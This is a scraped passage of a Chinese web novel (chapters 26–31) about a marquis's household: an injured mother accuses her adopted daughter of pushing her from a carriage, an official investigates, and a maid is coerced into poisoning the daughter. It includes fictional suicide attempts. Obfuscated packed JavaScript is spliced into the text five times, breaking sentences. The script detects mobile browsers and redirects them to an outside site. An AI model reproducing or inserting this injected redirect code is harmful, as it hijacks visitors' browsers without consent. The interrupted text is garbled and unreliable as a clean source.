“你不许将此事告诉父亲。”晏明月下意识地想要隐瞒这件事。
如今母亲不在,父亲说不定会因为烈国公一家转变想法,和晏逐星重修旧好。
到时候她就更争不过晏逐星了。
李氏暗想,她不说难道大小姐就不会说么。
这事根本隐瞒不了多久。
但她面上还是恭恭敬敬地点头:“是。一切都听二小姐的吩咐。”
有了她这句话,晏明月心里堵着的那口气勉强顺了下去。
“走吧,我跟你一块去探望娘亲。”她起身领着李氏去找母亲。
毕竟,这个家里最疼她的就是娘亲了。
这个节骨眼上,娘亲可是万万不能出事的。
……
翌日清晨,温如霜是被活活疼醒的。
冷汗把眼皮黏得死紧,她挣扎了半炷香时间才勉强撑开条缝。她伸出左手胡乱抓挠着床褥,一旁守着打瞌睡的晏明月听到声音猛地惊醒。
看见这一幕,她抹着眼泪扑到了床边:“娘亲,您可算醒了,可让女儿担心坏了。”
温如霜想要扶着她的手起身,却发现腰臀像压着千斤磨盘一般纹丝不动。
她整个人僵在了原地,片刻后,忽然像发疯似的用手掐向大腿内侧。
“娘亲,您这是做什么?!”晏明月惊呼出声。
温如霜眼里流露出惊慌和错愕,她掐得那么用力,为什么腿毫无反应。
见她将自己的腿掐得青紫,一旁的晏明月吓坏了,不知所措地呆愣在原地。
李氏看不下去了,涕泪横流,扑过去阻止她:“夫人,您莫要伤害自己啊。”
温如霜猛地推开了她,发狠地抓挠自己的腿,硬生生剜出好几道血痕都没停下。
挠不出感觉,她又将掌心合拢成拳头用力地砸下去,依旧没有任何反应。
她僵硬地扭头看向李氏:“我的腿怎么了?”
李氏哭红了眼眶,哽咽道:“夫人,您只是受了点伤,大夫说需要好好调养……”
“你敢骗我?”她愤怒地将枕头砸向李氏。
随后她又看向了晏明月。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497770|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>“你来说!若是不说实话,就别认我这个母亲了。”
晏明月还是第一回见到这么可怕的娘亲。
她印象里,娘亲总是温温柔柔,眼里带着笑,让人如沐春风。
如今反差太大,一时间她愣在了原地,不敢看她。
“你说呀!”温如霜声嘶力竭地怒吼。
晏明月吓坏了,赶忙把真话说了出来。
得知自己后半生都要躺在床上当个废人,温如霜像是被雷劈中了一般,僵在了原地。
“不,不可能。一定是那庸医胡说八道的。去,给我请太医!我要太医给我治。”温如霜不愿意相信这个事实,撕心裂肺地闹了起来。
晏明月小心翼翼地开口:“父亲已经请过三个太医了,他们都是同一个说法。”
这句话彻底击垮了温如霜。
她脸色迅速变得灰败,她双目无神地看着屋顶。
“你们都出去,我想自己一个人静一静。”
听到这话,晏明月只得带着丫鬟退了出去。
李氏担忧地看着屋子里的夫人,忍不住冲晏明月抱怨。
“二小姐,您不该跟夫人说实话的。夫人知道真相,若是萌出了死志可如何是好。”
“我是主子还是你是主子,轮得到你教训我吗?”晏明月横了她一眼。
李氏赶忙扇了自己一巴掌:“是老奴多嘴了。”
话音刚落,就听到屋子里传来了瓷碗摔碎的声音。
晏明月和李氏吓了一跳,赶忙冲去进,就看到温如霜将药碗砸碎,拿着碎片往手腕上划。
这分明是一心求死!
晏明月看到这一幕,脑子发蒙。
完了,母亲真的寻**。
李氏“嗷”一声扑了过去,抢走了她手上的碎瓷片,哭喊了起来:“夫人您这是做什么呀,您还没含饴弄孙呢,怎么就想不开了。”
“你让我死,我这样活着有什么意思。”温如霜崩溃大哭。
她无法接受自己成为一个要靠别人把屎把尿过活的废物。
晏明月听到她尖锐的哭声,一个激灵回过神来。
大哥正在议亲,二哥也在准备明年的秋闱,她马上也要及笄了。
若是母亲**,他们得守孝三年。
三年后,她就十八岁了,哪里还找得到般配的夫君。
不,母亲决不能死。
她快步走到床边,跟着劝说了起来。
“娘亲,您不能抛下我们不管啊。再说了,姐姐都没事,您肯定也会没事的。”
温如霜一顿,止住了哭声,不可思议地看向了晏明月。
“你说那野丫头,没事?”
第27章 说实话,我并不是很想和裴大人见面
晏明月眼神闪了闪:“伤了腿,但不严重,太医说休养一段时间就没事了。”
温如霜猛地攥紧了拳头,脱口而出:“凭什么?!”
同样是摔下马车,凭什么她以后再也不能行走,而晏逐星却没事。
她眼中恨意渐浓,猛地回想起昨日马车上的场景。
摔下车前,似乎有人推了她一把。
她紧紧抓住了晏明月的手,声嘶力竭地呐喊:“是那个野种害的我,是她把我推下马车的。”
晏明月和李氏听到这话,都吓了一跳。
不会吧,晏逐星她敢吗?
“报官,我要报官!”温如霜肩膀颤抖了起来。
“那个孽畜,她想要弑母。”
晏明远和晏明修得知母亲苏醒,赶过来探望,踏入院子就听到了这声泪俱下的控诉。
晏明修当场发怒:“我果然没猜错,那野丫头就不是个好东西。娘,你放心,我这就去报官!”
“等等,先问过父亲再说。”晏明远拦住了冲动的弟弟。
很快,定远侯也来到了温如霜的院子里。
他看着温如霜,再三确定:“当真是她推了你?”
“没错!”温如霜重重点头。
定远侯思索了起来。
昨日永安王对那丫头维护的模样他可是看得一清二楚。
若是将此事宣扬出去,会不会惹得永安王不悦?
见他没有马上答应下来,温如霜脸色变得阴沉,她指节攥得发白,唇间吐出冷冷一句话:“若是侯爷不能替我讨回公道,那我便让兄长从青州来替我报仇。”
定远侯眉心一跳。
青州温家也不是好打发的,大舅兄温石岚如今乃是青州府知府,若是得知妹妹落得这个下场,他却什么都没做,定然会朝自己发难。
想到这,他握住了温如霜的手,温声道:“夫人说的什么话,我怎么会不替你讨回公道呢。只是如今没有证据,贸贸然地去报官,反倒不好。”
温如霜柳眉倒竖,身后的疼痛愈发强烈,她心底的怒气翻涌得也愈发厉害:“所以侯爷是要让我吃下这个哑巴亏?”
“怎么会。”定远侯摇头,“今日裴明镜还会再次登门,届时咱们私底下和他说这事。这人跟狗似的,但凡嗅得半点线索便穷追不舍。若此事真的存有蹊跷,他定会掘地三尺查个水落石出。”
“上回裴大人可是偏袒了姐姐,这一回会秉公彻查么?”一旁的晏明月忍不住插话。
定远侯不满地瞥了她一眼,她竟还敢提那件事。
晏明月被父亲的目光吓得缩了缩脖子。
片刻后,定远侯开口。
“彼时晏逐星呈证确凿,裴明镜也是公事公办。此人连宗室显贵的威逼都无动于衷,只为查案,又岂会为了晏逐星徇私?”
这话勉强让温如霜接受了。
“届时侯爷一定要将他请来。”
“嗯,你放心吧。”定远侯点了点头,让李氏重新端来一碗药,亲自喂她喝完,等她睡下了,方才起身离开。
临行前,他警告地看着几个孩子。
“此事我自有主张,你们切莫轻举妄动。”
“是。”晏明远三人不情不愿地点了点头。
没过多久,裴明镜便登门拜访了。
“裴大人还是为了世子爷被下药一事前来么?”定远侯打探了起来。
“世子爷被下药一事,我已经同烈国公打听过了。他说此事乃是误会一场,与令嫒无关。”
定远侯眼里闪过一丝疑惑。
烈国公爱子如命,怎么会将此事轻轻揭过?
先前被夫人闹了一场,都没来得及问昨日烈国公府一行如何了。
裴明镜又道:“不过威宁侯那边倒是有人证,说是瞧见了贵府大小姐与世子爷拉拉扯扯,还让世子爷喝下了东西。”
“这个逆女!竟如此胆大妄为。”定远侯怒喝一声,猛拍大腿。“真是家门不幸啊。”
裴明镜面无表情道:“只有人证没有物证,且没有抓到现行,此事是否是令嫒所为尚且存疑。”
定远侯有些尴尬地开口:“那大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497771|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人今日前来,是……?”
“乃是为了昨日朱雀街上惊马一事。”裴明镜也没有卖关子。
他总觉得昨日的事情有些蹊跷。
不查清楚,他心里不舒服。
“说起这事,我夫人今日醒了,跟我说当时她摔下马车,乃是有人推了她一把。”定远侯露出了伤心的表情,“裴大人,你可一定要查出真凶,还我夫人一个公道啊。”
裴明镜挑眉。
当时马车上只有定远侯夫人和晏逐星,定远侯话里的意思很明显了。
此事乃是晏逐星所为。
这定远侯一家,真是有意思。
做女儿的被仆役苛待无人问津,做父亲的没有证据就急着往女儿身上泼脏水,做母亲的滚下马车又声称是女儿所为。
即便不是亲生,十几年养育也该有些情分,怎会闹到这般田地?
思及此处,裴明镜开口:“侯爷放心。若此事并非意外,本官一定会将真凶捉拿归案。”
定远侯抹了抹微微湿润的眼角:“多谢裴大人。”
随后,他让人将裴明镜带去了玉澜院。
晏逐星正醒着,很适合审问。
裴明镜微微一笑:“晏大小姐,又见面了。”
晏逐星叹气:“说实话,我并不是很想和裴大人见面。”
“哦?莫不是做了什么恶事心虚,不敢见本官?”裴明镜话里带刺。
晏逐星打起精神应对:“裴大人说笑了。我只是觉得每次遇到裴大人,都是性命堪忧之时。而我只想平安活着。”
裴明镜见她回答得滴水不漏,便询问起了事发当日的所有事情。
从出门前到出门后,事无巨细。
晏逐星简单地回答几句后,揉了揉自己的额角。
一旁的双鲤担忧地上前询问:“小姐可是脑袋又不舒服了。”
晏逐星轻声回应:“嗯,头晕。昨日磕到脑袋后,就一直有些不舒服。”
裴明镜忽然开口:“定远侯夫人说是你把她推下马车的,大小姐有什么想对本官说么。”
第28章 不禁吓,这么快就把实话说出来了
晏逐星还没开口,双鲤就炸毛了。
“奴婢知道夫人不喜小姐,但这么大的罪名,怎么能无缘无故扣在小姐头上呢。更何况,我家小姐腿都摔断了。她是不是也能说是夫人推的她?”
双鲤说着说着,就哭了起来。
她是真的心疼她家小姐。
只不过陪着夫人出门一趟,前几日还能爬树,今天就只能躺在床上了。
若是恢复不好,落下跛疾,日后还怎么嫁人。
爹不疼娘不爱,还嫁不到一个好人家,她的小姐好惨啊。
双鲤越想哭得越厉害了。
“别哭,我不是没事么。”晏逐星有些无奈,这小丫头怎么越来越爱哭了。
随后,她又看向了裴明镜。
“大人,马儿受惊,马车颠簸之下我连自己身体都控制不住,怎么推的母亲?许是颠簸过程中磕磕绊绊,有了肢体接触,被母亲误会了。”
说完,她垂下了脑袋,语气当中带着一丝哽咽:“母亲误解我也不是一次两次了,还请大人查明真相,还我清白。”
“好。”裴明镜应了下来,“那我就不打扰大小姐了。希望你早日康复。”
“谢谢。”晏逐星轻咳两声吩咐道,“双鲤,你替我送送裴大人。”
“是。”双鲤不情不愿地答应了下来。
裴明镜走出屋子,发现原本守在屋外的丫鬟见他出来猛地转身。
裴明镜若有所思,叫住了她。
“站住,你也是这院里的丫鬟?”
“回大人话,奴婢确实是大小姐的丫鬟。”转身要走的半棠顿住了脚步,僵硬地转动身子看了回来。
“昨日你去了哪里?”裴明镜开口询问。
半棠紧张不已,被这位大人盯上,她背后竟隐隐冒出了冷汗。
“我昨日去了浮酥坊,小姐想吃他们家的五香糕。我早早就去排队了。”她按照晏逐星交代的回答。
昨日,她替大小姐去一个小院子里给一个人传话。
穿过那个院子,拐一条巷道就是浮酥坊。
这个借口不会惹人怀疑。
“只可惜我家小姐从国公府回来后,遭此横祸,那五香糕都没吃上。”半棠抹起了眼泪。
“糕点呢,拿来我看看。”裴明镜又问。
“是。”半棠赶紧从屋子里把五香糕拿了出来,包装都没打开,显然没有人动过。
裴明镜打开瞧了瞧,这五香糕已经有些回油,看着并非新鲜出炉,至少隔了一日有余。
看来这丫鬟没撒谎,但他总觉得有古怪。
裴明镜将糕点收下。
“劳烦跟你家小姐说一声,这糕点我带走了,明日本官会让人送一份新的来。”
“是。”半棠一个字都不敢多说。
裴明镜拿着糕点离开,双鲤忍不住嘀咕。
“裴大人这么大的官,怎么还捡小姐不要的糕点吃啊。”
晏逐星唇角飞快勾起又放下:“他呀,可不是为了吃这糕点。”
她盯着自己手上的擦伤,陷入了沉思。
上回,她先入为主地让裴明镜觉得她可怜,同情了她,所以那件事并没有仔细严查。
这一回,恐怕没有这么容易过关了。
她冲双鲤招了招手,对着她耳边悄悄嘱咐了几句。
比起半棠,她更相信双鲤。
衔蝉将这一切默默看在了眼底,而后趁着晏逐星休息,将此事传回了永安王府。
“王爷,昨日之事,不会真是那位大小姐做的吧?”停云皱眉。
若是这样,那侯府大小姐也太可怕了。
从她出侯府开始,他一直跟着她,完全想不到她是怎么做到的。
“不可能。她不是那样的人。”谢翊宁果断否认。
他将衔蝉传回来的信烧掉,想了想,还是吩咐了一句。
“继续查那个黄衫女子,若是找到了,将她先带回王府。重点在浮酥坊附近查。”
他不认为晏逐星是那样嘴馋的人。
好端端的忽然让丫鬟去浮酥坊排长队买五香糕,或许另有用意。
……
翌日。
裴明镜再一次登门造访定远侯府。
这一次,他没有去玉澜院寻晏逐星,而是让人将半棠单独带了过来。
半棠看到他,下意识地屏住了呼吸。
“昨日你究竟去了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497772|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何处?”裴明镜厉声质问。
“奴婢替大小姐去浮酥坊买了五香糕。”半棠脱口而出。
裴明镜起身逼近,她下意识地想要退后。
裴明镜一字一句道:“你可知此事涉及了侯府主母的性命,你若有所隐瞒,那便是死罪。”
他眸中寒星骤亮,钉住了她打算后退的脚步。
半棠咽了咽口水,想到那一百两银票,拼命摇头:“奴婢不知道大人说什么,奴婢真的只是替小姐去买了五香糕。”
“你还要继续隐瞒么?本官已经查到了你昨日的行踪,你根本就不是去买什么五香糕,你明明就是去花钱雇凶!昨日那女子,是你找来的吧?”最后一句话,裴明镜猛地提高了声音。
半棠吓得腿一软,跌坐在地:“不是我,我什么都不知道。”
看她这副模样,裴明镜越发肯定了心中的猜测。
昨日玉澜院,唯有这个丫鬟出了门。
晏逐星若是需要人里应外合,便只能靠这个丫鬟了。
他冷冷道:“那女子已经被我们找到了。你若不说实话,那便等着被**吧。”
“不,不是我。我只是替大小姐传了一封信。别的我什么都不知道呀。”半棠哭着跪地求饶。
裴明镜面无表情地看着她:“从头开始,把事情完整地说一遍。”
半棠哭哭啼啼地把事情都说了出来,连一百两银票的事情都没敢隐瞒。
裴明镜若有所思,指节轻轻点了点檀木桌面。
他没有证据,不过是诈她一诈,没想到她竟然这般不禁吓,这么快就把实话说出来了。
“你带本官去拿人。”裴明镜起身,将半棠带出府去。
没有捉到人之前,他不打算去见晏逐星。
她巧舌如簧,没有证据,她定然不会认罪。
半棠面如考妣,带着裴明镜去了昨日传信的小院子。
“就是这。”她指了指一个不起眼的院落。
裴明镜看向身旁的两个护卫。
护卫会意,点点头,随后翻身进了院子。
片刻后,护卫匆匆跑了出来。
“大人,院里空无一人。”
第29章 三个人,她谁也得罪不起
“小姐,裴大人命人送了五香糕来。”
双鲤将糕点送到了晏逐星面前。
晏逐星捻起一块,眉头微皱:“半棠呢,怎么去主院那么久还没回来?”
双鲤答道:“她说夫人留她问话,让我先把糕点拿回来。”
晏逐星往她嘴里塞了一块糕点,又冲门外的衔蝉招了招手。
“衔蝉姑娘,能不能劳烦你去一趟主院,把半棠带回来。”
衔蝉规矩行礼,而后点头回答:“奴婢这就去。大小姐有事只管吩咐,不必这般客气。”
“好。辛苦你了。”晏逐星给双鲤使了个眼神。
双鲤甜甜一笑,捡了一块五香糕双手递给了衔蝉:“姐姐吃糕饼。”
“多谢大小姐赏赐。”衔蝉笑着收下了。
晏逐星瞧着她远去的背影,思索了起来。
衔蝉是永安王的人,温如霜怎么着都得给她点面子吧。
让她去打听主院的情况,再合适不过了。
一刻钟后,衔蝉回来了,而她身后却空无一人。
“半棠呢?”晏逐星问道。
“李嬷嬷说让她留下和芰荷讨论一下绣花的样式,让我不要着急。若是玉澜院缺人手,她可以派别人过来。”衔蝉将李嬷嬷的话一字不落地转达。
“所以你并没有看到她本人?”晏逐星又问。
衔蝉点头。
晏逐星心底有了猜测,半棠多半不在主院。
她再次吩咐:“你再打听打听,今日送糕点来的人,是裴明镜本人,还是他的下人。”
“是。”衔蝉应声。
很快就有了答案,今日的五香糕是裴明镜亲自来的。
晏逐星明白了。
裴明镜怀疑她,所以把半棠带走了。
而半棠,多半已经把她卖了个一干二净。
她下意识道:“双鲤,你去打听一下……”
话说到一半,她又顿住了。
若是现在让双鲤去找人,那岂不是自投罗网。
她现在不能动。
信里已经吩咐过九栀,事成之后换一个地方落脚。
五日后,再到清泉居见面。
“小姐?”见她话说到一半忽然收声,双鲤歪着脑袋出声提醒。
“没事,你去做药膳吧。我得快点好起来。”晏逐星笑着嘱咐她。
“嗯!小姐必须得快点好起来!”双鲤一蹦一跳地跑去了小厨房。
晏逐星闭目养神,将自己做过的事情一遍一遍在脑海里复查。
裴明镜手中肯定没有确凿的证据,不然他也不会曲线救国,从半棠那里下手,而是直接找上门来了。
想通了这一点,晏逐星决定以不变应万变。
夜里,天刚刚暗下来的时候,半棠终于回了玉澜院。
“怎么去了那么久?”晏逐星开口询问。
半棠颤着嗓子道:“夫人让奴婢描花样子,因而回来晚了。”
她答应了裴大人,继续留在小姐身边,看她下一步会做什么,因此压根不敢说实话。
“行了,那你退下吧。”晏逐星没有继续多问就让她离开了。
半棠有些惊讶,她刚刚还在担忧大小姐若是刨根问底怎么办。
不曾想,竟然就这样让她离开了。
她忐忑不安地回了自己住的厢房。
心里装着事,她一夜无眠。
早晨起来服侍晏逐星梳头都有些恍惚。
一整日,晏逐星都在屋子里养病,看书,日子过得和往常一样没有什么区别。
甚至还有闲心让人将她抬到院中看盛开的梅花。
半棠渐渐放下心来。
不曾想,有人却等不及了。
“裴明镜怎么还没行动?他到底怎么跟你说的?”温如霜面如寒霜,咬牙切齿地把半棠叫到了面前。
“裴大人只让奴婢继续伺候大小姐,别的什么都没说。”半棠慌张地在地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497773|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上。
裴大人说了。
他们之间的谈话,绝对不能让第三个人知道,就连夫人这边也得瞒着。
“我不信,他把你叫出去,肯定是查到了什么!”温如霜将手里的药碗狠狠砸到了地上。
“他就是要包庇那个小**。”
身体的疼痛和报仇的决心冲昏了她的脑袋。
她等不及了。
凭什么她得拖着这副腐木般的身躯生不如死的活着,而晏逐星却还能去庭院当中赏花,看书。
她要让晏逐星和她一样,变成一个半死不活的废人。
温如霜大发雷霆,半棠不敢躲开,瑟缩着身子跪在地上。
“把东西给她。”
听到这话,半棠抬头,便看到了夫人的心腹李嬷嬷将一个小瓷瓶递到了面前。
随后就温如霜冷冷开口:“这药,你想办法让她服下。”
半棠脸色大变:“奴婢不敢。”
“不敢?”温如霜冷笑,“你的**契可还在我手里呢。你若不照办,我便将你嫁给周妈妈儿子。”
半棠打了个哆嗦,露出了绝望的表情。
周妈妈的儿子性格暴烈,若是嫁给他,一定会被活生生打死的。
她拿着药,恍惚地回了玉澜院。
双鲤瞧见她,好奇道:“半棠姐姐,你怎么了,脸色这么难看?”
半棠回过神来,露出了一个勉强的笑:“没什么,就是身子有些不舒服。”
“那你可得注意了。这大冷天的,病了可就遭罪了。”双鲤像是没有察觉到她的异常。
半棠紧紧捏着手中的药瓶,点了点头。
夜里,她翻来覆去地睡不着。
她不敢给大小姐下药,又害怕被夫人胡乱许人,裴大人那边她更是不知道该怎么交代。
三个人,她谁也得罪不起。
她该怎么办。
辗转反侧到了半夜,半棠终于下定了决心。
第30章 侯府大小姐到底给王爷灌了什么**汤
她起身拿了一根腰带和小木凳,恍恍惚惚地往院子里走去。
**,这一切就解脱了。
反正父亲的买药钱和兄长娶妻的钱都有了,她也可以安心地离开了。
半棠将带子抛到树干上,系了个死结。
她心如死灰,将脑袋套入其中,踢翻了木凳。
窒息的感觉传来,她拼命挣扎。
这时,她的身后忽然亮起了一盏灯笼。
衔蝉三步并作两步冲了过来,拔刀将她准备自缢的腰带给割断了。
半棠跌到地上,大口大口地喘着粗气。
提着灯笼的双鲤走了上前:“半棠姐姐,小姐要见你。”
她脸色瞬间变得比地上的雪还要白上三分。
双鲤叹了一口气:“你何苦寻死呢。什么事都没有活着更重要啊。”
“我……”她张了张嘴,想说什么,但最终一切都化作了苦笑。
看来,大小姐什么都知道。
她颓然起身,再无**的勇气,亦步亦趋地跟在双鲤身后,去见了晏逐星。
“说吧,为何想要自缢。”晏逐星淡淡开口。
半棠捂着脸,呜呜呜地哭了起来。
她一边哭一边把这几日的事情说了出来。
“大小姐,是我对不起您,没能遵守和您的约定,您就让我**吧。”
晏逐星默默听完了她的话。
她没想到温如霜竟然这么沉不住气,竟然现在就要弄死她了。
“将她带出去吧,我静一静。”
将半棠支出去后,晏逐星看向了衔蝉:“你可识得这是什么药?”
永安王给她送的这个丫鬟精通药理,这会儿正好派上用场了。
衔蝉接过药瓶开始检查,片刻后回答道:“小姐,这药并不致命,只是会让人腹泻。”
晏逐星露出了惊讶的表情。
她还以为温如霜要立刻就像要她的命呢。
但转念一想,她就明白了温如霜的用意。
这只是对半棠的一个试探。
温如霜虽然愤怒,但也彻底没有失心疯。
前脚才说她推她下马车,后脚她就毒发身亡的话,这简直就是给裴明镜送把柄。
她想让她出糗,然后再徐徐图之。
晏逐星将双鲤叫了过来:“昨日让你悄悄拿的药,你可拿到了?”
“拿到了小姐。”双鲤点头。
前段时间下人的厢房里闹了耗子,有丫鬟买了耗子药,晏逐星在得知半棠背叛她后,便让双鲤偷偷拿了一点耗子药。
打算等几日制造半棠误食耗子药后死掉的假象。
没想到,现在还能派上别的用场。
她将那些耗子药弄到了温如霜给的药瓶里。
随后让人把半棠又叫了进来。
“想活吗?我给你指一条活路。”
半棠摸了摸已经留下淤青的脖颈,重重点头。
死亡的感觉太可怕了。
她已经死过一次,不想再**。
……
“你说定远侯夫人让你把这个药下到晏大小姐的药膳里?”裴明镜握着手中的药瓶,若有所思。
“没错。”半棠点了点头。
昨夜,大小姐给她指了一条活路,让她来找裴大人。
裴大人虽然铁面无私,但也从不迁怒无辜之人。
她被他逼盯着大小姐,替他办事,如今出了这么大的事,自然该让裴大人替她兜底。
“是晏逐星让你来的吧。”裴明镜忽然笑了起来。
“是。”半棠再一次点头。
大小姐说她不会撒谎,那就说实话。
只是可以选择性地说。
夫人让她下药,大小姐发现让她来找裴大人的事情可以说,但药瓶单独给过她一事,可以不说。
虚虚实实真真假假,反倒让人猜不出真相。
她将系在脖子上的围脖摘下,指着脖子上的勒痕,红着眼睛道:“奴婢真的不知道该怎么办了,我不想害人,又害怕夫人将我嫁给那无耻之徒,便想着一**之。结果被大小姐发现了。”
“她说……”
裴明镜将药瓶交给下属让他拿去验证,听到这话,下意识地接话:“她还说了什么?”
“她说裴大人不相信她,她就不报官了。她也不知道该怎么办。她自身难保,护不住我,让我来找您。她还说裴大人足智多谋,一定有办法救我。”半棠将晏逐星的话一字不落地复述出来。
说完,她跪到了地上:“大人,求您救救奴婢吧。奴婢愿意给您当牛做马一辈子报答您。”
裴明镜眉心拧了拧。
可真是个小狐狸,竟然将这烫手山芋抛到了他手里。
他没说话。
片刻后,下属验完药告知他结果。
“**?”裴明镜眸色微冷。
这对母女还真是想方设法将对方置于死地啊。
跪在地上的半棠抽泣着:“大人,求您救救我吧。”
裴明镜低头看向她,开口道:“我跟你走一趟。”
他打算再和晏逐星谈谈。
那个黄衫女子依旧下落不明,若是能从她口中撬出那女子的身份就好了。
裴明镜再一次去了定远侯府。
按照礼数,他先去见定远侯。
没想到,刚踏进会客厅,就听到一阵哭嚎。
“侯爷,您救救大小姐吧。”双鲤哇哇大哭。
“有人买通了丫鬟给大小姐下**,若不是发现衔蝉姐姐知晓药理,大小姐就要被毒**。”
瞧见裴明镜后,她扑到了裴明镜脚边,抓着他的裤腿哭得更大声了。
“大人,您可算来了。人证物证都已经交给您了,您可得替我家小姐做主啊。”
定远侯脸色铁青。
侯府三番几次发生这样的事情,还总让裴明镜撞到,皇上肯定又要训斥他持家不严了。
他一方面在心底暗恨下药的人不懂事,这等风口浪尖竟然还敢对晏逐星下手。
一方面又恼怒晏逐星不识好歹,腿都断了竟然还那么能作妖。
“裴大人,小小家务事,您何必跑这一趟。”他挤出笑容看向裴明镜。
“父亲,这怎么能是家务事呢,这可是性命攸关的大事。”后边坐在步舆上晏逐星轻声开口。
“虽然我不是亲生的,但毕竟喊了您那么多年父亲,您总不能眼睁睁看着我被人害死吧。”
定远侯被她气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497774|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得火冒三丈。
还没等他开口训斥晏逐星闭嘴,她就看向了裴明镜。
一行清泪顺着眼角滑落。
“裴大人,院子里那些人我是谁都不敢信了,我只信您。”
定远侯气急败坏道:“行了,你若信不过那些人,便自己挑一批人伺候你行了吧。别什么小事都麻烦裴大人。”
裴明镜看着她的泪一怔,而后反应过来。
他被晏逐星给算计了。
她要的就是将整个院子里定远侯夫人的眼线全都拔除吧。
好一个只信他。
裴明镜指了指地上的双鲤:“本官自是不会辜负大小姐的信任。这个丫鬟,本官很是喜欢,不如大小姐割爱?”
双鲤吓了一跳,她可不想跟裴大人走。
“那不行。”晏逐星果断拒绝。
“不是说院子里那些人都不敢信?”裴明镜挑眉。
“嗯,是那些人不可信。但双鲤不一样,双鲤是我的救命恩人。”晏逐星一脸诚恳。
“而且永安王送来的衔蝉姑娘,很喜欢双鲤,将双鲤当作亲妹妹一般对待。若是将他们二人分开,未免有违仁厚。”
裴明镜面无表情地盯着她。
这是拿永安王来压他?
晏逐星顶着他的死亡凝视继续道:“裴大人若缺丫鬟,我看半棠就不错,人机灵,又乖巧听话。不如您将她带走吧?”
半棠抓住时机跪在了地上:“能伺候大人,是奴婢三生修来的福气。”
“是啊,大人您若喜欢府上哪个丫鬟,只管开口。”定远侯跟着附和。
他只想快点把裴明镜送走。
裴明镜盯着晏逐星,弯腰凑到她耳边,冷冷一笑:“大小姐真是好手段。”
晏逐星像是听不出他的讽刺,乖巧地看着他:“大人的救命之恩,小女子来世结草衔环一定会报。”
裴明镜彻底被气笑了。
合着这辈子就不愿报恩,用虚无缥缈的下辈子来许诺他呗。
裴明镜歇了询问晏逐星的心思,他知道他不可能从她嘴里挖出任何有用的东西了。
他看向定远侯:“劳烦侯爷将这丫鬟的身契送到国公府二房,人,我带走了。”
这丫鬟先前确实是在为他做事,他也不可能眼睁睁看着她**。
“好说好说。”定远侯当即答应了下来。
只要别继续盯着他的后院,区区一个丫鬟,给了就给了。
“父亲,劳烦将双鲤的身契也给我吧。”晏逐星趁机提出了要求。
定远侯只想快点息事宁人,胡乱地点头答应了下来。
……
定远侯府的事情再一次被传回了永安王府。
停云忍不住嘀咕:“这侯府大小姐的心机未免也太重了些,竟然还利用您的名头吓唬裴大人。”
谢翊宁冷哼一声:“生在那等虎狼窝里,她不多长几个心眼,岂不是早就没命了。若她能和我一样,受尽万千宠爱长大,哪里还需要这样小心翼翼地算计别人活命。”
停云:……
定远侯府大小姐到底给他家王爷灌了什么**汤。
怎么她做什么王爷都能给她找到合理的借口?
第31章 要不要给你们赐婚
两人闲谈之际,管家忽然敲门通禀。
“王爷,皇后娘娘请您入宫一趟。说是有要事相商。”
谢翊宁听到这话,急匆匆地赶到了未央宫。
“母后,出什么事了?”
“这大冬天的,怎么还出汗了,快擦擦,可别着凉了。”皇后瞧见他额头的汗,心疼地掏出帕子想要替他擦掉。
“我这不是着急么。”谢翊宁接过帕子,自己擦掉了汗珠。
